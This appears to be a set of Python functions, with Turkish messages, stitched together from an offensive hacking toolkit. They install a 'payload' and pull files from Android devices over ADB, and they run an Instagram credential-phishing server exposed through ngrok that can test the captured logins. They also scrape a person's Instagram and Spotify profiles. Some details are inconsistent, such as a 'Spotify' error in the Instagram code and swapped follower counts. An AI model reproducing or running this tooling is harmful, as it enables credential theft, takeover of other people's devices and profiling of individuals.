def send(self, command, timeout=5): if (self.connected == False): return False try: info("[{0}] Komut gönderiliyor: '{1}'".format(self.ip, command)) tmp = self.device.shell(command, timeout=timeout) success("[{0}] '{1}' çıktısı: {2}".format(self.ip, command, tmp)) return tmp except Exception as e: error(e) return False
def pull(self, filename, dest_file_name, timeout=30): if (self.connected == False): return False try: info("[{0}] Dosya alınıyor: '{1}'".format(self.ip, filename)) self.device.pull(filename, dest_file_name, timeout=timeout) success("[{0}] Dosya alınındı: '{1}'".format(self.ip, filename)) return True except Exception as e: error(str(e)) return False
def upload_payload(self, timeout=180): if (self.connected == False): return False info("[{0}] Payload yükleniyor.".format(self.ip)) try: tmp = self.device.install(timeout=180) if (not tmp): return False success("[{0}] Payload yüklendi.".format(self.ip)) return True except Exception as e: error(e) return False
def install(self): if (self.is_installed()): return info("ADB bulunamadı!") if (name == "nt"): info("Windows için ADB indiriliyor!") link = WINDOWS_DOWNLOAD_LINK else: info("Linux için ADB indiriliyor!") link = LINUX_DOWNLOAD_LINK try: mkdir(self.default_download_path) with get(link) as res: with ZipFile(BytesIO(res.content)) as zip_file: zip_file.extractall( path.join(path.dirname(path.realpath(__file__)))) success("ADB Yüklendi") except Exception as e: error(e)
def main(): clear_screen() print_logo() redirect_url = ask( "Giriş yapıldıktan sonra nereye yönlendirilsin (Varsayılan: https://www.instagram.com)" ) port = ask("Web sunucusu hangi port'u kullansın (Varsayılan: 80)") if (port != "" and (port.isdigit()) == False): error("Hatalı giriş!") _exit(0) try_accounts = ask( "Girilen kullanıcılar denensin mi (Varsayılan: Hayır) [E/H]") print("") if ((try_accounts != "") and (try_accounts.lower() != "e") and (try_accounts.lower() != "h")): error("Hatalı giriş!") _exit(0) if (redirect_url != ""): info("Yönlendirme '{0}' olarak ayarlandı!".format(redirect_url)) SETTINGS["REDIRECT_URL"] = redirect_url else: info("Varsayılan yönlendirme adresi kullanılıyor!") SETTINGS["REDIRECT_URL"] = "https://www.instagram.com" if (port != ""): info("Sunucunun web portu '{0}' olarak ayarlandı!".format(port)) SETTINGS["PORT"] = int(port) else: info("Varsayılan sunucu portu kullanılıyor!") SETTINGS["PORT"] = 80 if (try_accounts != ""): if (try_accounts.lower() == "e"): info("Sunucuya girilen kullanıcılar giriş yapılarak denenecektir!") SETTINGS["TRY_ACCOUNTS"] = True print("") if ("arm" not in uname().machine): success("NGROK servisi başlatılıyor!") public_url = ngrok.connect() web_url = ngrok.connect(SETTINGS["PORT"], "http") success("Port yönlendirme başarılı!") print("") success("Web sunucusu {0} adresinde açıldı!".format(web_url)) print("") else: info( "Program Termux'dan çalıştırılıyor! NGROK'u 'ngrok http 80' komutuyla manuel başlatmalısınız!" ) print("") success("Web sunucusu http://localhost:{0} adresinde açıldı!".format( SETTINGS["PORT"])) print("") try: http_server = WSGIServer(('0.0.0.0', SETTINGS["PORT"]), PathInfoDispatcher({'/': website_app})) http_server.start() except: info( "Program yönetici olarak çalıştırılmadığından dolayı web portu 5000 olarak değiştirildi!" ) SETTINGS["PORT"] = 5000 http_server = WSGIServer(('0.0.0.0', SETTINGS["PORT"]), PathInfoDispatcher({'/': website_app})) http_server.start()
def print_instagram(username): try: info( "Instagram kullanıcısının bilgileri alınıyor: {}".format(username)) instagram = Instagram(username) user_info = instagram.get_user_info() except InstagramException as e: error(e) return except exceptions.ConnectionError: error("Spotify bağlantısı sağlanamadı! (ConnectionError)") return is_private = "Herkese Açık" if (user_info["graphql"]["user"]["is_private"]): is_private = "Gizli Hesap" is_verified = "Hayır" if (user_info["graphql"]["user"]["is_verified"]): is_verified = "Evet" facebook_address = "Yok" if (user_info["graphql"]["user"]["connected_fb_page"]): facebook_address = str( user_info["graphql"]["user"]["connected_fb_page"]) success("Instagram bilgileri yüklendi!\n") success( "+=====================Instagram Profil Bilgileri=====================+" ) info("Tam İsmi: {}".format(Back.MAGENTA + str(user_info["graphql"]["user"]["full_name"]))) info("Kullanıcı Adı: {}".format(Style.RESET_ALL + username)) info("Hesabın Instagram ID'si: {}".format( Style.RESET_ALL + user_info["graphql"]["user"]["id"])) info("Biyografisi: {}".format(Style.RESET_ALL + user_info["graphql"]["user"]["biography"])) info("Takip Edilen Hesap Sayısı: {}".format( Style.RESET_ALL + str(user_info["graphql"]["user"]["edge_followed_by"]["count"]))) info("Takip Eden Hesap Sayısı: {}".format( Style.RESET_ALL + str(user_info["graphql"]["user"]["edge_follow"]["count"]))) info("Hesap durumu: {}".format(Style.RESET_ALL + is_private)) info("Hesap onaylanma durumu: {}".format(Style.RESET_ALL + is_verified)) info("Bağlı Facebook Hesabı: {}".format(Style.RESET_ALL + facebook_address)) success( "+====================================================================+" )
def print_spotify(userid): try: info("Spotify profili alınıyor: {}".format(userid)) spotify = Spotify(userid) spotify.generate_api_token() user_info = spotify.get_user_info() playlists = spotify.get_playlists() except SpotifyException as e: error(e) return except exceptions.ConnectionError: error("Spotify bağlantısı sağlanamadı! (ConnectionError)") return success("Spotify bilgileri yüklendi!\n") success( "+======================Spotify Profil Bilgileri======================+" ) info("İsmi: {}".format(Back.GREEN + str(user_info["display_name"]))) info("Hesap Türü: {}".format(Style.RESET_ALL + str(user_info["type"]))) info("Takipçi Sayısı: {}".format(Style.RESET_ALL + str(user_info["followers"]["total"]))) info("Profil Linki: {}".format(Style.RESET_ALL + str(user_info["external_urls"]["spotify"]))) success( "+====================================================================+" ) listened_artists = {} for playlist in playlists["items"]: try: playlist_info = spotify.get_playlist_info(playlist["id"]) except SpotifyException as e: error(e) continue except exceptions.ConnectionError: error("Spotify bağlantısı sağlanamadı! (ConnectionError)") continue playlist_artists = {} for track in playlist_info["tracks"]["items"]: if (not track): continue if (not track["track"]): continue if (not track["track"]["album"]): continue if (not track["track"]["album"]["artists"]): continue for artist in track["track"]["album"]["artists"]: if (artist["name"] not in listened_artists): listened_artists[artist["name"]] = 0 else: listened_artists[ artist["name"]] = listened_artists[artist["name"]] + 1 if (artist["name"] not in playlist_artists): playlist_artists[artist["name"]] = 0 else: playlist_artists[ artist["name"]] = playlist_artists[artist["name"]] + 1 print("") success("Yeni bir playlist bulundu!") info("Adı: {}".format(Back.CYAN + playlist_info["name"])) info("Açıklaması: {}".format( Style.RESET_ALL + truncate(playlist_info["description"], get_max_line_length()))) info("Spotify URI'si: {}".format(Style.RESET_ALL + playlist_info["uri"])) info("Takipçi Sayısı: {}".format( Style.RESET_ALL + str(playlist_info["followers"]["total"]))) info("Toplam Şarkı Adeti: {}".format( Style.RESET_ALL + str(playlist_info["tracks"]["total"]))) if (playlist_info["tracks"]["total"] == 0): continue elif (playlist_info["tracks"]["total"] < 3): info("Sondan Eklenen Şarkı: {0}-{1} [{2}]".format( truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][0] ["track"]["album"]["artists"][0]["name"], get_max_line_length()), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][0] ["track"]["album"]["name"], get_max_line_length() + 10), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][0]["added_at"], get_max_line_length()))) else: info("Sondan İlk Eklenen Şarkı: {0}-{1} [{2}]".format( truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][0] ["track"]["album"]["artists"][0]["name"], get_max_line_length()), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][0] ["track"]["album"]["name"], get_max_line_length()), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][0]["added_at"], get_max_line_length()))) info("Sondan İkinci Eklenen Şarkı: {0}-{1} [{2}]".format( truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][1] ["track"]["album"]["artists"][0]["name"], get_max_line_length()), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][1] ["track"]["album"]["name"], get_max_line_length()), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][1]["added_at"], get_max_line_length()))) info("Sondan Üçüncü Eklenen Şarkı: {0}-{1} [{2}]".format( truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][2] ["track"]["album"]["artists"][0]["name"], get_max_line_length()), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][2] ["track"]["album"]["name"], get_max_line_length()), truncate( Style.RESET_ALL + playlist_info["tracks"]["items"][2]["added_at"], get_max_line_length()))) info("Sanatçı listesi: {}".format(Style.RESET_ALL + ", ".join(playlist_artists.keys()))) top_listened_artist, top_listened_artist_value = "", 0 for artist in listened_artists.keys(): if (listened_artists[artist] > top_listened_artist_value): top_listened_artist = artist top_listened_artist_value = listened_artists[artist] print("") success( "+========================Spotify Profil Özeti========================+" ) info("En Çok Şarkısı Eklenen Sanatçı: {}".format(Back.MAGENTA + top_listened_artist)) info("Sanatçıdan eklenen şarkı sayısı: {}".format( Back.MAGENTA + str(top_listened_artist_value))) success( "+====================================================================+" )